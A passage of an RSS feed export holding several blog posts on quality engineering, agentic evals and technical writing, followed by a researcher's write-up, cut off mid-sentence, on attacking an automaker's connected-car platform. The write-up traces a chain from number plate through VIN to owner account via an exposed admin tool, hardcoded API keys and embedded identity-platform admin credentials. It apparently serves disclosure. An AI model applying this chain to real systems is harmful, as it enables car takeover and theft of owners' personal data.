don’t change unexpectedly. That means understanding not just which parts of the code we’ve tested, but whether we’re protecting the behaviours that matter.&lt;/p&gt;&lt;p&gt;Perhaps the more useful question isn’t how much code we’re testing, but how confident we are that the behaviours we care about are protected.&lt;/p&gt;&lt;h2&gt;Internal and external software quality&lt;/h2&gt;&lt;div id=&quot;article-cdGMK7cFGo_T45VYDTVya1b9XsQ-youtube2-2QiguGJo1s4&quot; data-attrs=&quot;{&amp;quot;videoId&amp;quot;:&amp;quot;2QiguGJo1s4&amp;quot;,&amp;quot;startTime&amp;quot;:null,&amp;quot;endTime&amp;quot;:null}&quot; data-component-name=&quot;Youtube2ToDOM&quot;&gt;&lt;div&gt;&lt;iframe width=&quot;728&quot; height=&quot;409&quot; src=&quot;https://www.youtube.com/embed/2QiguGJo1s4?rel=0&amp;amp;autoplay=0&amp;amp;showinfo=0&amp;amp;fs=1&amp;amp;playsinline=1&amp;amp;modestbranding=1&amp;amp;origin=https:%2f%2fbazqux.com&quot; allow=&quot;autoplay; fullscreen; encrypted-media; clipboard-write; picture-in-picture; web-share&quot; sandbox=&quot;allow-same-origin allow-scripts allow-forms allow-popups allow-presentation&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;I was watching &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.youtube.com/watch?v=2QiguGJo1s4&quot;&gt;What Does Quality Look Like When Software Development Becomes Agentic?&lt;/a&gt; and one of the topics they got into was internal and external software quality. One thing I like about the distinction is that it helps us think about what good software actually looks like.&lt;/p&gt;&lt;p&gt;External quality is about what users experience, while internal quality is about how understandable, maintainable and easy to change the software is for those working on it.&lt;/p&gt;&lt;p&gt;This reminded me of &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://qualityeng.substack.com/i/141796310/a-nuanced-understanding-of-building-quality-in-products&quot;&gt;Google’s theory of software quality&lt;/a&gt;, which I covered a while ago. It breaks quality down into process, code, system and product quality, helping teams understand the different attributes that matter to them.&lt;/p&gt;&lt;p&gt;Where I think this becomes particularly interesting is when we’re using agents to build software.&lt;/p&gt;&lt;p&gt;If we don’t have a shared understanding of what good quality looks like, how are we going to guide agents towards producing it? For instance, we might get software that does what we asked for, but it turns out to be difficult to understand, maintain or change in the future.&lt;/p&gt;&lt;p&gt;By getting teams and stakeholders to agree on the quality attributes that matter to them, we can start turning those expectations into guidance for agents, as well as ways to check whether we’re actually achieving them.&lt;/p&gt;&lt;p&gt;If you want to learn more about how to identify the quality attributes you care about, see my write-up of my talk &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://qualityeng.substack.com/p/building-quality-in-a-framework&quot;&gt;Building Quality In – A Framework for Engineering Teams&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Agentic evals: testing how agents behave&lt;/h2&gt;&lt;p&gt;I recently came across &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://yeshas93.substack.com/profile/posts&quot;&gt;Yesha Shah’s Substack&lt;/a&gt;. She’s a tech lead working in Google’s Cloud AI teams and focuses on agent quality. She’s written a few guides for engineers exploring what agentic evals are and how they can help.&lt;/p&gt;&lt;p&gt;As with everything AI, nothing is a panacea, but combining different approaches can increase your confidence that your agent won’t go completely off the rails.&lt;/p&gt;&lt;p&gt;What I like about agentic evals is that they don’t just grade the final output. They can also evaluate the path the agent took (AI engineers call this the &lt;em&gt;trajectory&lt;/em&gt;), the tools it used, any unintended side effects and how efficiently it completed the task.&lt;/p&gt;&lt;p&gt;You can incorporate evals into your development process to understand how changes to your agent, its guidance or controls affect its behaviour. You can also use them to evaluate real production interactions, giving you another source of feedback on how the agent is actually behaving.&lt;/p&gt;&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://yeshas93.substack.com/p/agentic-evals-a-software-engineers&quot;&gt;Yesha’s first guide&lt;/a&gt; is pretty thorough and goes into detail about what agentic evals are and how they work. I’ve only managed to read the first one so far, but the other two explore using statistics to understand agent performance and autoraters (LLM-as-a-judge) to evaluate results.&lt;/p&gt;&lt;p&gt;But, as with all testing, &lt;strong&gt;evals are only as useful as the scenarios you choose and the behaviours you decide to evaluate.&lt;/strong&gt; You still need to understand what good looks like and what could go wrong.&lt;/p&gt;&lt;h2&gt;AI yet to show signs of payoff outside the tech sector&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Despite massive investments and widespread hype around artificial intelligence, the technology has delivered zero financial payoff to corporate America outside of tech&lt;/em&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;This kind of makes sense to me.&lt;/p&gt;&lt;p&gt;It’s not just about introducing AI into existing ways of working. Organisations may need to fundamentally change how they work, make decisions and learn from feedback. That’s going to take time, potentially years.&lt;/p&gt;&lt;p&gt;Which makes me wonder whether the organisations that benefit most from AI will be those that already have a strong culture of experimentation. Trying things out, seeing what happens, learning from that feedback and adapting how they work.&lt;/p&gt;&lt;p&gt;So perhaps it’s not surprising that the benefits of AI aren’t showing up more widely just yet. It’s more about how quickly you can learn to work with agents than how quickly agents can do the work. Via &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.apollo.com/wealth/insights-news/insights/daily-spark/no-signs-of-ai-payoff-outside-the-tech-sector/&quot;&gt;No Signs of AI Payoff Outside the Tech Sector | The Daily Spark&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Diving in or waiting for what’s next?&lt;/h2&gt;&lt;p&gt;I thought this was an interesting perspective from &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://x.com/GergelyOrosz/status/2115420339102720380&quot;&gt;Gergely Orosz&lt;/a&gt;, who runs &lt;em&gt;The Pragmatic Engineer&lt;/em&gt; newsletter and has a pretty good view of what’s happening across the software industry.&lt;/p&gt;&lt;p&gt;He’s noticing a divide between people who are thriving on the autonomy AI gives them, experimenting with new tools and ways of working, and those who are waiting for more guidance on how to use AI and, according to him, becoming increasingly frustrated.&lt;/p&gt;&lt;p&gt;While I wouldn’t say people are necessarily getting frustrated, I am definitely seeing something similar happening.&lt;/p&gt;&lt;p&gt;And I think there’s something interesting here about autonomy and how organisations support people through change. Not everyone has the same opportunities, confidence or freedom to experiment, and simply telling people to use AI isn’t particularly helpful either.&lt;/p&gt;&lt;p&gt;I think creating an environment where people can experiment, collaborate and try things out is critical when adopting new tools and approaches. People need to know it’s OK to get things wrong and share what they’ve learned.&lt;/p&gt;&lt;p&gt;But there’s often an interpersonal risk for engineers in admitting they haven’t been keeping up with the latest technologies, particularly when those technologies might eventually replace some of the work they do.&lt;/p&gt;&lt;p&gt;So just assuming people will naturally start experimenting is risky, and forcing them to do so doesn’t seem particularly productive either. We need to think more carefully about how we create the conditions where people feel safe to experiment, share what they’ve learned and adapt how they work.&lt;/p&gt;&lt;div&gt;&lt;hr&gt;&lt;/div&gt;&lt;h3&gt;&lt;strong&gt;Work with me&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;If you’re thinking about how your teams build quality and resilience into the way they work, I also help organisations explore these kinds of problems through talks, workshops and quality engineering advisory work.&lt;/p&gt;&lt;p&gt;You can find out more about how I work here: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://qualityeng.substack.com/p/work-with-me&quot;&gt;Work with me&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;hr&gt;&lt;/div&gt;&lt;p&gt;If this is your first time here, the Quality Engineering Newsletter is where I write about quality engineering, complex systems and how teams can build and change software with more confidence.&lt;/p&gt;&lt;p&gt;Subscribe if you’d like the next post in your inbox.&lt;/p&gt;&lt;p data-attrs=&quot;{&amp;quot;url&amp;quot;:&amp;quot;https://qualityeng.substack.com/subscribe?&amp;quot;,&amp;quot;text&amp;quot;:&amp;quot;Subscribe now&amp;quot;,&amp;quot;action&amp;quot;:null,&amp;quot;class&amp;quot;:null}&quot; data-component-name=&quot;ButtonCreateButton&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://qualityeng.substack.com/subscribe?&quot;&gt;&lt;span&gt;Subscribe now&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;hr&gt;&lt;/div&gt;&lt;h2&gt;Past Linkys&lt;/h2&gt;</summary><author><name>Jit Gosai</name></author><source gr:stream-id="feed/https://qualityeng.substack.com/feed"><id>tag:google.com,2005:reader/feed/https://qualityeng.substack.com/feed</id><title type="html">Quality Engineering Newsletter</title><link rel="alternate" href="https://qualityeng.substack.com" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794156606989"><id gr:original-id="tag:blogger.com,1999:blog-1733784724667491523.post-814072533917522679">tag:google.com,2005:reader/item/0000050e0000013b</id><category term="Communication"></category><category term="Heuristics for Working"></category><category term="Teams"></category><category term="Writing"></category><title type="html">The Author Pays</title><published>2026-11-08T16:50:06Z</published><updated>2026-11-08T16:50:06Z</updated><link rel="alternate" href="https://qahiccupps.blogspot.com/2026/11/the-author-pays.html" type="text/html"></link><summary type="html">&lt;p&gt;&lt;/p&gt;&lt;div style=&quot;clear: both; text-align: center&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMvqGjVW3R76sFFyc8W5v81hopcfrebg0QAOMIzvk-L0gKKzkYI9tdSIx6IwZ1nH2TW87PBnVklEtDQ3d_n0KlLXQK__6wU62Q2ANEArlj976Mse4CLtFCiABGVWjGSEQnEi4SFE3NV2KGWU_fj-9X_7479F_yub8kAtb4lrtNIxmlO0eFukdrfwGdxzLO/s791/Why_Me.png&quot; style=&quot;margin-left: 1em; margin-right: 1em&quot;&gt;&lt;img width=&quot;640&quot; height=&quot;606&quot; style=&quot;border: 0px solid black&quot; data-original-height=&quot;748&quot; data-original-width=&quot;791&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMvqGjVW3R76sFFyc8W5v81hopcfrebg0QAOMIzvk-L0gKKzkYI9tdSIx6IwZ1nH2TW87PBnVklEtDQ3d_n0KlLXQK__6wU62Q2ANEArlj976Mse4CLtFCiABGVWjGSEQnEi4SFE3NV2KGWU_fj-9X_7479F_yub8kAtb4lrtNIxmlO0eFukdrfwGdxzLO/w640-h606/Why_Me.png&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;Java was famously promoted with the idealistic &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://en.wikipedia.org/wiki/Write_once,_run_anywhere&quot;&gt;Write Once Run Anywhere&lt;/a&gt; and simultaneously derided with the sardonic &lt;i&gt;Write Once Debug Everywhere&lt;/i&gt;.
  Neither is correct, of course, but the idea that one implementation can work
  for all consumers continues to be attractive, and the fact that it doesn&amp;apos;t
  continues to frustrate.
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  Nowhere is this truer than as a reader of someone else&amp;apos;s awful ticket, PR description, wiki page, code comment, or README:
  write once, WTF everywhere. And, unfortunately, we&amp;apos;ve
  &lt;i&gt;all&lt;/i&gt; been there ... on both sides of the problem, sometimes as the author &lt;i&gt;and&lt;/i&gt;, months later, confused recipient of the same miserable text.&lt;/p&gt;&lt;p&gt;Which is where today&amp;apos;s post comes in. Last year&amp;apos;s &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://qahiccupps.blogspot.com/2025/02/heuristics-for-working-today.html&quot;&gt;Heuristics for Working Today&lt;/a&gt; was a presentation I gave at work listing nine practices that I find generally useful, one of which I called &lt;i&gt;The Author Pays&lt;/i&gt;. &lt;/p&gt;&lt;p&gt;It&amp;apos;s the idea that since much of what is written is read multiple times, it seems reasonable in general for the author to pay the cost of making it understandable &lt;i&gt;once&lt;/i&gt; rather than every reader to pay every time they come to it.  &lt;/p&gt;&lt;p&gt;It&amp;apos;s good team play, it&amp;apos;s considerate, it encourages a culture of caring for and about one another, of respecting each other&amp;apos;s time and effort, it helps us understand what we&amp;apos;re writing better, and it improves the quality of the written material that we produce. It&amp;apos;s also the kind of thing that can become second nature over time, which naturally lowers the cost.  &lt;/p&gt;&lt;p&gt;Anyway, for whatever reason, it struck a chord with my colleagues and so I prepared a deeper look at that one heuristic, and that&amp;apos;s the slide deck below. &lt;/p&gt;

&lt;center&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; style=&quot;border: 0&quot; src=&quot;https://speakerdeck.com/player/654ff7f3ca914f5eaa0a5ae8101617b3&quot; allow=&quot;autoplay; fullscreen; encrypted-media; clipboard-write; picture-in-picture; web-share&quot; sandbox=&quot;allow-same-origin allow-scripts allow-forms allow-popups allow-presentation&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;</summary><author><name>James Thomas</name></author><source gr:stream-id="feed/https://qahiccupps.blogspot.com/feeds/posts/default"><id>tag:google.com,2005:reader/feed/https://qahiccupps.blogspot.com/feeds/posts/default</id><title type="html">Hiccupps</title><link rel="alternate" href="https://qahiccupps.blogspot.com/" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794153325216"><id gr:original-id="https://www.thegreenreport.blog/?t=1794157206">tag:google.com,2005:reader/item/00000861000000af</id><category term="webdriverio"></category><category term="typescript"></category><category term="nodejs"></category><category term="ai/ml"></category><category term="ui"></category><title type="html">Heal the Selector, Check the Click: Self-Healing Tests with WebdriverIO v10</title><published>2026-11-08T15:55:25Z</published><updated>2026-11-08T15:55:25Z</updated><link rel="alternate" href="https://www.thegreenreport.blog/articles/heal-the-selector-check-the-click-self-healing-tests-with-webdriverio-v10/heal-the-selector-check-the-click-self-healing-tests-with-webdriverio-v10.html" type="text/html"></link><summary type="html">AI test steps usually come with two costs. The model is asked on every run, so the suite gets slower, spends tokens, and may not click the same thing twice. And when...</summary><author><name></name></author><source gr:stream-id="feed/https://www.thegreenreport.blog/resources/xml/feeds.xml"><id>tag:google.com,2005:reader/feed/https://www.thegreenreport.blog/resources/xml/feeds.xml</id><title type="html">The Green Report | Quality Assurance Blog</title><link rel="alternate" href="https://www.thegreenreport.blog/" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794092400000"><id gr:original-id="https://scrolltest.com/?p=7898">tag:google.com,2005:reader/item/000004440000036c</id><category term="Javascript"></category><category term="Testing"></category><title type="html">Day 40 of 100: Typing Functions — Params, Returns, Async Signatures</title><published>2026-11-07T23:00:00Z</published><updated>2026-11-07T23:00:00Z</updated><link rel="alternate" href="https://scrolltest.com/100-days-day-40-typescript-function-types/" type="text/html"></link><summary type="html">&lt;p&gt;Day 40 of 100: Parameter and return annotations, Promise&lt;t&gt;, void vs never, function type aliases, a typed timing wrapper.&lt;/t&gt;&lt;/p&gt;
&lt;p&gt;The post &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; rel=&quot;nofollow&quot; href=&quot;https://scrolltest.com/100-days-day-40-typescript-function-types/&quot;&gt;Day 40 of 100: Typing Functions — Params, Returns, Async Signatures&lt;/a&gt; appeared first on &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; rel=&quot;nofollow&quot; href=&quot;https://scrolltest.com&quot;&gt;Software Testing &amp;amp; Automation&lt;/a&gt;.&lt;/p&gt;</summary><author><name>Pramod Dutta</name></author><source gr:stream-id="feed/https://scrolltest.com/feed/"><id>tag:google.com,2005:reader/feed/https://scrolltest.com/feed/</id><title type="html">Software Testing &amp; Automation</title><link rel="alternate" href="https://scrolltest.com" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794063343000"><id gr:original-id="https://ryanharter.com/blog/2026/11/recognizing-policy/">tag:google.com,2005:reader/item/0000090300000042</id><title type="html">Recognizing Policy</title><published>2026-11-07T14:55:43Z</published><updated>2026-11-07T14:55:43Z</updated><link rel="alternate" href="https://ryanharter.com/blog/2026/11/recognizing-policy/" type="text/html"></link><summary type="html">&lt;p&gt;When writing apps, we often talk about “business logic” and treat it like special code. We work hard to isolate our business logic from other parts of the code, like the view layer or framework-specific code, and we say that if you have limited test resources, testing your business logic is the first priority.&lt;/p&gt;
&lt;p&gt;Business logic is the core behavior of your app, but there’s a certain class of business logic that I believe warrants extra attention: &lt;code&gt;Policy&lt;/code&gt;.&lt;/p&gt;</summary><author><name></name></author><source gr:stream-id="feed/https://ryanharter.com/blog/index.xml"><id>tag:google.com,2005:reader/feed/https://ryanharter.com/blog/index.xml</id><title type="html">Blogs on Ryan Harter</title><link rel="alternate" href="https://ryanharter.com/blog/" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1794049000000"><id gr:original-id="6a4ae4e1111d92b0f398fbef">tag:google.com,2005:reader/item/0000038300000421</id><title type="html">unlocking any car from X brand in most of the world</title><published>2026-11-07T10:56:40Z</published><updated>2026-11-07T10:56:40Z</updated><link rel="alternate" href="https://shubs.io/unlocking-any-car-from-x-brand-in-most-of-the-world/" type="text/html"></link><summary type="html">&lt;p&gt;I&amp;apos;ve always had a soft spot for this particular car brand. Our family has owned a few of them over the years, and they&amp;apos;ve served us incredibly well. In 2023, I bought a new four wheel drive/SUV from them, and it was the first time I had access to their connected car platform.&lt;/p&gt;&lt;p&gt;Having looked at platforms like this before (&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://samcurry.net/hacking-subaru?ref=shubs.io&quot; rel=&quot;noreferrer&quot;&gt;previous works&lt;/a&gt;), I was sceptical about how secure they really were. I suspected there was something there, but life kept getting in the way of actually looking. This July, I collaborated with Sam Curry to take a look at the security of a major automaker&amp;apos;s connected car systems. Throughout this post, I&amp;apos;ll refer to them simply as &amp;quot;the automaker&amp;quot;.&lt;/p&gt;&lt;p&gt;When you typically think of car hacking, it&amp;apos;s often easy to jump into the hardware side of things, but my background sits pretty squarely in compromising internet-facing web applications and infrastructure. Regardless of all the hardware bits and bobs, it all connects back to some service that, by design, has to be reachable from the internet.&lt;/p&gt;&lt;p&gt;The journey started with a simple question: what infrastructure does the app talk to when I remotely unlock my car? To work this out, I downloaded the APK and decompiled it, eventually reconstructing the API requests that were being made.&lt;/p&gt;&lt;p&gt;Going through the code, the primary point of contact seemed to be assets under &lt;code&gt;*.&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://redacted-telematics.com.au&quot;&gt;redacted-telematics.com.au&lt;/a&gt;&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new GlobalConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, &amp;quot;X&amp;quot;, str)), new Gson().toJson(new ApiConfig(&amp;quot;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://api.redacted-telematics.com.au&quot;&gt;https://api.redacted-telematics.com.au&lt;/a&gt;&amp;quot;, &amp;quot;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://api.redacted-telematics.com.au&quot;&gt;https://api.redacted-telematics.com.au&lt;/a&gt;&amp;quot;, &amp;quot;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://api.redacted-telematics.com.au&quot;&gt;https://api.redacted-telematics.com.au&lt;/a&gt;&amp;quot; ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Almost every part of the consumer application called back to &lt;code&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://redacted-telematics.com.au&quot;&gt;redacted-telematics.com.au&lt;/a&gt;&lt;/code&gt;. What else existed under this domain?&lt;/p&gt;&lt;h2 id=&quot;article-V1o0ZzieE4kilq0vs43ZU_cHmnI-the-admin-tool&quot;&gt;The admin tool&lt;/h2&gt;&lt;p&gt;Running connected car infrastructure can be quite complex, and managing it requires a mix of admin tools, staging, dev, and QA environments, to make sure that customers get a clean experience. Whether all of that should be sitting on the public internet, available to anyone willing to do some basic reconnaissance, is a different story.&lt;/p&gt;&lt;p&gt;One asset caught my attention more than the others. &lt;code&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://admintool.redacted-telematics.com.au&quot;&gt;admintool.redacted-telematics.com.au&lt;/a&gt;&lt;/code&gt; returned a page titled TEST HARNESS. Who can resist a subdomain with admintool in it?&lt;/p&gt;&lt;p&gt;Visiting this subdomain presented a very plain and grey login screen, which didn&amp;apos;t exactly ooze quality, given it presented a logout button before we&amp;apos;d logged in.&lt;/p&gt;&lt;p&gt;I love that most single-page applications ship their entire JavaScript bundle even when all they need to render is a login page. Sure, some more modern frameworks split out JavaScript files so that they only serve what is necessary, but in this case, we could comb through the large JavaScript bundle to understand what this &amp;quot;admin tool&amp;quot; actually let you do.&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1740&quot; height=&quot;1444&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png 1740w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png&quot;&gt;&lt;figcaption&gt;&lt;span style=&quot;white-space: pre-wrap&quot;&gt;Oozing quality&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img width=&quot;886&quot; height=&quot;790&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.10.32.png 600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.10.32.png 886w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.10.32.png&quot;&gt;&lt;figcaption&gt;&lt;span style=&quot;white-space: pre-wrap&quot;&gt;Who even reads JavaScript bundles?&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Turns out this admin tool let you do quite a lot. It had a rich API that let the automaker&amp;apos;s employees interact with customer accounts and production vehicles with very few restrictions. Reconstructing the requests, we found that a lot of these APIs needed no authentication beyond the hardcoded API keys sitting in the JavaScript bundle.&lt;/p&gt;&lt;p&gt;For example, we could look up user accounts by email address:&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1954&quot; height=&quot;1074&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.12.40.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.12.40.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-07-at-17.12.40.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.12.40.png 1954w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.12.40.png&quot;&gt;&lt;/figure&gt;&lt;p&gt;But that&amp;apos;s just not good enough. If we want to unlock any of their cars from just knowing the number plate, we&amp;apos;re going to need to do better than that.&lt;/p&gt;&lt;p&gt;In Australia, a number plate gets you the VIN (vehicle identification number) fairly easily through state-based registration lookup sites.&lt;/p&gt;&lt;p&gt;This isn&amp;apos;t really a security flaw. There are plenty of legitimate reasons to want a VIN, like checking a car&amp;apos;s true repair and insurance history before buying second-hand. If we could go from VIN to a subscriber or email, we&amp;apos;d complete the chain.&lt;/p&gt;&lt;p&gt;Fortunately, there was an API that let you do exactly that:&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1856&quot; height=&quot;814&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-08-at-08.32.13.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-08-at-08.32.13.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-08-at-08.32.13.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-08-at-08.32.13.png 1856w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-08-at-08.32.13.png&quot;&gt;&lt;/figure&gt;&lt;p&gt;With the subscriber GUID, you could pull the full account details (including the user&amp;apos;s email via the &lt;code&gt;/v1/account&lt;/code&gt; endpoint) like so:&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1838&quot; height=&quot;974&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-09-at-12.22.31.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-09-at-12.22.31.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-09-at-12.22.31.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-09-at-12.22.31.png 1838w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-09-at-12.22.31.png&quot;&gt;&lt;/figure&gt;&lt;p&gt;Well, I guess we have the first part of our chain sorted. Plate -&amp;gt; VIN -&amp;gt; Subscriber GUID -&amp;gt; User Account PII (email) registered on the automaker&amp;apos;s identity platform (ForgeRock OpenIDM).&lt;/p&gt;&lt;p&gt;Now, how do we send commands to any car we want? Surely this admin tool would let us do that? Unfortunately, no. It let us provision features to a car, add ourselves to a user&amp;apos;s account as a secondary user, and even generate remote access codes. But for all that functionality, none of it actually got us remote control of a vehicle.&lt;/p&gt;&lt;h2 id=&quot;article-V1o0ZzieE4kilq0vs43ZU_cHmnI-the-identity-platform&quot;&gt;The identity platform&lt;/h2&gt;&lt;p&gt;Sam and I then spent two weeks digging into how the automaker manages their central identity system: the software they use, the way commands are issued, and how consumers authenticate.&lt;/p&gt;&lt;p&gt;When a user goes through the authentication flow for the automaker&amp;apos;s mobile app, requests are made to &lt;code&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://login.redacted-identity.com.au&quot;&gt;login.redacted-identity.com.au&lt;/a&gt;&lt;/code&gt;, and after going through an MFA flow, a consumer auth token is finally issued. This auth token is then used for subsequent requests to &lt;code&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://api.redacted-telematics.com.au&quot;&gt;api.redacted-telematics.com.au&lt;/a&gt;&lt;/code&gt; (both REST APIs and GraphQL). Once you have that auth token, it&amp;apos;s pretty much game over. You can control a user&amp;apos;s car (remote unlock/lock, horns, engine, etc).&lt;/p&gt;&lt;p&gt;So if we could mint a token for any user, we&amp;apos;d finally be able to control anyone&amp;apos;s connected car. This is the angle we went for.&lt;/p&gt;&lt;p&gt;The automaker is a heavy user of ForgeRock&amp;apos;s identity software (OpenAM/OpenIDM). This is the cornerstone of their authentication mechanisms. Pulling the subdomains for &lt;code&gt;*.&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://redacted-identity.com.au&quot;&gt;redacted-identity.com.au&lt;/a&gt;&lt;/code&gt;, we quickly found their OpenIDM instance at &lt;code&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://openidm.redacted-identity.com.au&quot;&gt;openidm.redacted-identity.com.au&lt;/a&gt;&lt;/code&gt;. This is the system that manages every identity registered on the automaker&amp;apos;s connected car platform.&lt;/p&gt;&lt;p&gt;This all clicked together when we were combing through the JavaScript files under &lt;code&gt;*.&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://redacted-telematics.com.au&quot;&gt;redacted-telematics.com.au&lt;/a&gt;&lt;/code&gt; and we came across an absolutely cursed vendor JavaScript bundle that embedded admin credentials for OpenIDM 😱:&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1138&quot; height=&quot;612&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.15.20.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.15.20.png 1000w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.15.20.png 1138w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.15.20.png&quot;&gt;&lt;/figure&gt;&lt;p&gt;Even though these admin credentials were meant to be for their staging environment, given the hygiene we&amp;apos;d seen so far, we were pretty sure they&amp;apos;d work in production too.&lt;/p&gt;&lt;h2 id=&quot;article-V1o0ZzieE4kilq0vs43ZU_cHmnI-fighting-the-waf&quot;&gt;Fighting the WAF&lt;/h2&gt;&lt;p&gt;Looking closer at OpenIDM, we couldn&amp;apos;t tell whether the automaker knew how fragile it was. One thing was obvious though: they&amp;apos;d invested heavily in WAF rules to block access to the sensitive APIs that ForgeRock typically lets you call via &lt;code&gt;/openidm/*&lt;/code&gt;.&lt;/p&gt;&lt;figure&gt;&lt;img width=&quot;1092&quot; height=&quot;762&quot; alt data-orig-srcset=&quot;https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-19.32.01.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-19.32.01.png 1000w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-19.32.01.png 1092w&quot; src=&quot;https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-19.32.01.png&quot;&gt;&lt;/figure&gt;&lt;p&gt;Even with the origin IP, any request to &lt;code&gt;/openidm/&lt;/code&gt; came straight back as an Nginx WAF block. Someone had put real effort into hardening these assets (despite them being externally accessible).&lt;/p&gt;&lt;p&gt;Fair enough, and we respect the hardening. But that much WAF investment usually means bandaids over something known to be bad. They probably understood how bad it was to have this asset exposed at all, and some business case kept it there 